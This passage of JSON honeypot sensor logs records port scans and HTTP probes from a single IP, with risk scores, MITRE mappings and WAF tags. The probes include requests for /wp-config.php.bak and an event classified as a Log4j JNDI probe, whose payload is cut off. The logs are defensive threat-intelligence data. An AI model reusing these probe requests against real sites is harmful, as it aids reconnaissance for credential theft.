[\u0022rce-0\u0022, \u0022nosqli-3\u0022, \u0022leak-5\u0022, \u0022leak-8\u0022], \u0022request_line\u0022: \u0022GET \/wp-config.php.bak HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/wp-config.php.bak HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\\r\\nAccept: *\/*\\r\\nConnection: close\\r\\n\\r\\n\u0022, \u0022payload_snippet\u0022: \u0022GET \/wp-config.php.bak HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x\u0022, \u0022classification_reason\u0022: \u0022Sonde fichier sensible \/ config \u00b7 confiance 100%\u0022}, \u0022attack_stage\u0022: \u0022recon\u0022, \u0022mitre_tactics\u0022: [\u0022TA0043\u0022], \u0022mitre_techniques\u0022: [\u0022T1046\u0022], \u0022mitre\u0022: \u0022T1046\u0022, \u0022threat_family\u0022: [\u0022scanner\u0022], \u0022recommended_client_action\u0022: \u0022investigate\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u0022c1ffbcf8d7ae6e93a6e03abfb8dfb5e6df43cb68\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/wp-config.php.bak\u0022, \u0022request_line\u0022: \u0022GET \/wp-config.php.bak HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\u0022, \u0022port\u0022: 31832, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022GET \/wp-config.php.bak HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x\u0022, \u0022attack_vector\u0022: \u0022port scan syn \u00b7 via HTTP:31832 \u00b7 (reconnaissance) \u00b7 \u2192 \/wp-config.php.bak\u0022, \u0022target_port_label\u0022: \u002231832 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 4 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Sonde fichier sensible \/ config \u00b7 confiance 100%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Sonde fichier sensible \/ config \u00b7 confiance 100%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 62\/100 (Moyen) \u2014 MITRE T1046 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (63 protocoles \u00b7 5 min)\u0022, \u0022confidence_pct\u0022: 100, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 62, \u0022correlation_boost\u0022: 18}, \u0022attack_stage\u0022: \u0022recon\u0022, \u0022attack_stage_label\u0022: \u0022Reconnaissance\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 62, \u0022risk_label\u0022: \u0022Moyen\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 31832, \u0022protocol_emulated\u0022: null, \u0022tags_summary\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022Beh Scan Burst\u0022, \u0022Beh Multi Port 60S\u0022], \u0022recommended_action\u0022: \u0022investigate\u0022, \u0022recommended_action_label\u0022: \u0022Investiguer\u0022, \u0022mitre\u0022: \u0022T1046\u0022, \u0022mitre_technique\u0022: \u0022T1046\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: [\u0022scan_rapide\u0022, \u0022campagne_ports\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Scan rapide multi-ports\u0022, \u0022Campagne multi-ports\u0022, \u0022Multi-protocole corr\u00e9l\u00e9 (5 min)\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +18\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/wp-config.php.bak\u0022, \u0022request_line\u0022: \u0022GET \/wp-config.php.bak HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\u0022, \u0022port\u0022: 31832, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022port scan syn \u00b7 via HTTP:31832 \u00b7 (reconnaissance) \u00b7 \u2192 \/wp-config.php.bak\u0022, \u0022evidence_snippet\u0022: \u0022GET \/wp-config.php.bak HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x\u0022, \u0022target_port_label\u0022: \u002231832 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 4 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +18 \u00b7 4 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne multi-ports d\u00e9tect\u00e9e sur une fen\u00eatre courte\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u002231832\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022port_scan_campaign\u0022: true, \u0022port_scan_distinct_ports\u0022: 33, \u0022port_scan_ports_sample\u0022: [20498, 20500, 20501, 20504, 20539, 20571, 20572, 20573, 20575, 20576, 20577, 20599, 20601, 20615, 20616, 20617], \u0022rapid_port_scan\u0022: true, \u0022rapid_scan_distinct_ports\u0022: 18, \u0022scan_velocity_ports_per_s\u0022: 3.74, \u0022multi_protocol_correlation\u0022: true, \u0022multi_protocol_count\u0022: 63, \u0022multi_protocol_sample\u0022: [\u0022http\u0022, \u0022port:20361\u0022, \u0022port:20480\u0022, \u0022port:20493\u0022, \u0022port:20495\u0022, \u0022port:20496\u0022, \u0022port:20498\u0022, \u0022port:20499\u0022], \u0022multi_protocol_window_s\u0022: 300, \u0022behavior_alerts\u0022: [\u0022port_scan_campaign\u0022, \u0022rapid_port_scan\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_confidence_boost\u0022: 18, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022matched_patterns\u0022: [], \u0022ban_policy\u0022: \u0022advisory_investigate\u0022, \u0022tags_list\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950518:leak-5\u0022, \u0022950521:leak-8\u0022, \u0022http_backup_file_scan\u0022, \u0022http_backup_path\u0022, \u0022http_sensitive_path\u0022, \u0022net_port_scan_fast\u0022]}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.1","http_host":"62.3.50.33","http_user_agent":"Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36","http_referer":null,"tags":"[\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950518:leak-5\u0022, \u0022950521:leak-8\u0022, \u0022http_backup_file_scan\u0022, \u0022http_backup_path\u0022, \u0022http_sensitive_path\u0022, \u0022net_port_scan_fast\u0022]","anomalies":"[]","severity":10,"bytes_in":186},{"id":7106404,"ip":"185.244.155.23","ts":"2026-10-23 11:45:49.000000","proto":"tcp","src_port":59480,"dst_port":20787,"service":"http","classification":"port_scan_syn","waf_score":13,"waf_tags":"[\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022]","http_method":"GET","http_target":"\/api.php","sensor_id":"paris-1","meta":"{\u0022http_header_count\u0022: 5, \u0022http_query_params\u0022: 0, \u0022http_path_depth\u0022: 1, \u0022http_path_ext\u0022: \u0022php\u0022, \u0022http_ua_hash\u0022: \u00225002ada1c05fac60ce2af638d5f54066641d121c\u0022, \u0022http_host_hash\u0022: \u00220991dad1e85d945fa26d249d6238901b89cb8349\u0022, \u0022http_target_hash\u0022: \u0022c8a97588b7771aaeeaf43f790e83eca06dff8663\u0022, \u0022http_referer_hash\u0022: null, \u0022http_method\u0022: \u0022GET\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: true, \u0022bytes_in\u0022: 176, \u0022payload_entropy\u0022: 5.199206703417091, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Kurdistan Net Company for Computer and Internet Ltd.\u0022, \u0022service\u0022: \u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 206206, \u0022country\u0022: \u0022IQ\u0022, \u0022dst_port\u0022: 20787, \u0022risk_waf\u0022: 60.0, \u0022risk_classification\u0022: 64.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 0.0, \u0022risk_protocol\u0022: 43.0, \u0022risk_novelty\u0022: 15.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 4.1, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 60.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 15.0}, \u0022risk_score\u0022: 46, \u0022tag_count\u0022: 4, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u0022d40e0d36aa57e3e17cccd1231634a2b5207d5618\u0022, \u0022event_fingerprint\u0022: \u0022402fdb8ab7769087c6d7ebb45a97904043a9bdf9\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022confidence\u0022: 1.0, \u0022classification_confidence\u0022: 1.0, \u0022precision_score\u0022: 348, \u0022precision_signals\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022, \u0022INT-upstream\u0022, \u0022INT-waf-score\u0022], \u0022kb_rule_ids\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022, \u0022INT-upstream\u0022, \u0022INT-waf-score\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 60.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 15.0, \u0022risk_score\u0022: 46, \u0022correlation_boost\u0022: 18}, \u0022named_classification_skipped\u0022: false, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 100.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: false, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022IQ\u0022, \u0022asn\u0022: 206206, \u0022org\u0022: \u0022Kurdistan Net Company for Computer and Internet Ltd.\u0022, \u0022is_datacenter\u0022: false, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022http_ua_hash\u0022: \u002263279522febcf5538b72996c16a8660f\u0022, \u0022payload_hash\u0022: \u00225d378ac2308ed15e40af58a5a5b7bc51\u0022, \u0022path_pattern_hash\u0022: \u002267e4b594cbd6242d8a13b9c543f229a0\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 20787, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 46}, \u0022payload_preview\u0022: \u0022GET \/api.php HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleW\u0022, \u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/api.php\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022], \u0022request_line\u0022: \u0022GET \/api.php HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/api.php HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\\r\\nAccept: *\/*\\r\\nConnection: close\\r\\n\\r\\n\u0022, \u0022payload_snippet\u0022: \u0022GET \/api.php HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleW\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/api.php\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022], \u0022request_line\u0022: \u0022GET \/api.php HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/api.php HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\\r\\nAccept: *\/*\\r\\nConnection: close\\r\\n\\r\\n\u0022, \u0022payload_snippet\u0022: \u0022GET \/api.php HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleW\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022}, \u0022attack_stage\u0022: \u0022recon\u0022, \u0022mitre_tactics\u0022: [\u0022TA0043\u0022], \u0022mitre_techniques\u0022: [\u0022T1046\u0022], \u0022mitre\u0022: \u0022T1046\u0022, \u0022threat_family\u0022: [\u0022scanner\u0022], \u0022recommended_client_action\u0022: \u0022monitor\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u0022daed7e8bab6faabd7773d497a1c145ea9d41b8bf\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/api.php\u0022, \u0022request_line\u0022: \u0022GET \/api.php HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\u0022, \u0022port\u0022: 20787, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022GET \/api.php HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleW\u0022, \u0022attack_vector\u0022: \u0022port scan syn \u00b7 via HTTP:20787 \u00b7 (reconnaissance) \u00b7 \u2192 \/api.php\u0022, \u0022target_port_label\u0022: \u002220787 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 2 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 46\/100 (Moyen) \u2014 MITRE T1046 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (63 protocoles \u00b7 5 min)\u0022, \u0022confidence_pct\u0022: 100, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 60.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 15.0, \u0022risk_score\u0022: 46, \u0022correlation_boost\u0022: 18}, \u0022attack_stage\u0022: \u0022recon\u0022, \u0022attack_stage_label\u0022: \u0022Reconnaissance\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 46, \u0022risk_label\u0022: \u0022Moyen\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 20787, \u0022protocol_emulated\u0022: null, \u0022tags_summary\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022Beh Scan Burst\u0022, \u0022Beh Multi Port 60S\u0022], \u0022recommended_action\u0022: \u0022monitor\u0022, \u0022recommended_action_label\u0022: \u0022Surveiller\u0022, \u0022mitre\u0022: \u0022T1046\u0022, \u0022mitre_technique\u0022: \u0022T1046\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: [\u0022scan_rapide\u0022, \u0022campagne_ports\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Scan rapide multi-ports\u0022, \u0022Campagne multi-ports\u0022, \u0022Multi-protocole corr\u00e9l\u00e9 (5 min)\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +18\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/api.php\u0022, \u0022request_line\u0022: \u0022GET \/api.php HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\u0022, \u0022port\u0022: 20787, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022port scan syn \u00b7 via HTTP:20787 \u00b7 (reconnaissance) \u00b7 \u2192 \/api.php\u0022, \u0022evidence_snippet\u0022: \u0022GET \/api.php HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleW\u0022, \u0022target_port_label\u0022: \u002220787 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 2 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 100 % \u2014 Score WAF 60 \u00b7 Bonus corr\u00e9lation +18 \u00b7 2 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne multi-ports d\u00e9tect\u00e9e sur une fen\u00eatre courte\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u002220787\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022port_scan_campaign\u0022: true, \u0022port_scan_distinct_ports\u0022: 33, \u0022port_scan_ports_sample\u0022: [20498, 20500, 20501, 20504, 20539, 20571, 20572, 20573, 20575, 20576, 20577, 20599, 20601, 20615, 20616, 20617], \u0022rapid_port_scan\u0022: true, \u0022rapid_scan_distinct_ports\u0022: 18, \u0022scan_velocity_ports_per_s\u0022: 3.75, \u0022multi_protocol_correlation\u0022: true, \u0022multi_protocol_count\u0022: 63, \u0022multi_protocol_sample\u0022: [\u0022http\u0022, \u0022port:20361\u0022, \u0022port:20480\u0022, \u0022port:20493\u0022, \u0022port:20495\u0022, \u0022port:20496\u0022, \u0022port:20498\u0022, \u0022port:20499\u0022], \u0022multi_protocol_window_s\u0022: 300, \u0022behavior_alerts\u0022: [\u0022port_scan_campaign\u0022, \u0022rapid_port_scan\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_confidence_boost\u0022: 18, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022matched_patterns\u0022: [], \u0022ban_policy\u0022: \u0022advisory_monitor\u0022, \u0022tags_list\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022http_probe_api\u0022, \u0022net_port_scan_fast\u0022]}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.1","http_host":"62.3.50.33","http_user_agent":"Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36","http_referer":null,"tags":"[\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022http_probe_api\u0022, \u0022net_port_scan_fast\u0022]","anomalies":"[]","severity":7,"bytes_in":176},{"id":7106400,"ip":"185.244.155.23","ts":"2026-10-23 11:45:49.000000","proto":"tcp","src_port":21644,"dst_port":31832,"service":"http","classification":"log4j_jndi","waf_score":52,"waf_tags":"[\u0022950326:rce-0\u0022, \u0022950406:ssrf-3\u0022, \u0022950418:jndi-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022, \u0022950585:cache-poison-xfh\u0022, \u0022950600:k8s-api\u0022, \u0022951011:log4shell-jndi\u0022]","http_method":"GET","http_target":"\/api\/","sensor_id":"paris-1","meta":"{\u0022http_header_count\u0022: 9, \u0022http_query_params\u0022: 0, \u0022http_path_depth\u0022: 1, \u0022http_path_ext\u0022: null, \u0022http_ua_hash\u0022: \u0022aa01e151de9993b07301e663f83a8b94cff655ca\u0022, \u0022http_host_hash\u0022: \u00226375668bbc7e8a77ee64c87a1ff165cd64a46f95\u0022, \u0022http_target_hash\u0022: \u0022357322ae39f93f572e23cd9edd3307e2ac5a321f\u0022, \u0022http_referer_hash\u0022: \u0022aa01e151de9993b07301e663f83a8b94cff655ca\u0022, \u0022http_method\u0022: \u0022GET\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: false, \u0022bytes_in\u0022: 496, \u0022payload_entropy\u0022: 5.2729029338164395, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Kurdistan Net Company for Computer and Internet Ltd.\u0022, \u0022service\u0022: \u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 206206, \u0022country\u0022: \u0022IQ\u0022, \u0022dst_port\u0022: 31832, \u0022risk_waf\u0022: 100.0, \u0022risk_classification\u0022: 94.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 0.0, \u0022risk_protocol\u0022: 43.0, \u0022risk_novelty\u0022: 25.0, \u0022risk_boost\u0022: 12, \u0022risk_granularity\u0022: 7.2, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 94.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0}, \u0022risk_score\u0022: 79, \u0022tag_count\u0022: 14, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u002269523696e382cf49763807c70ce9aaeb4712e874\u0022, \u0022event_fingerprint\u0022: \u00226aa4961ea7ba77d9571def1a829eccf5c1941ce0\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab log4j_jndi \u00bb (signaux protocolaires) \u00b7 confiance 95%\u0022, \u0022confidence\u0022: 1.0, \u0022classification_confidence\u0022: 1.0, \u0022precision_score\u0022: 342, \u0022precision_signals\u0022: [\u0022ET-EXPLOIT-Log4j\u0022, \u0022pat-fb-001\u0022, \u0022ET-EXPLOIT-Log4j-sub\u0022], \u0022kb_rule_ids\u0022: [\u0022ET-EXPLOIT-Log4j\u0022, \u0022pat-fb-001\u0022, \u0022ET-EXPLOIT-Log4j-sub\u0022], \u0022matched_patterns\u0022: [\u0022pat-fb-001\u0022], \u0022matched_pattern_names\u0022: [\u0022Log4j JNDI\u0022], \u0022pattern_ids\u0022: [\u0022pat-fb-001\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 94.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 79, \u0022correlation_boost\u0022: 18}, \u0022named_classification_skipped\u0022: false, \u0022classification_parent\u0022: \u0022log4shell_probe\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 95.0, 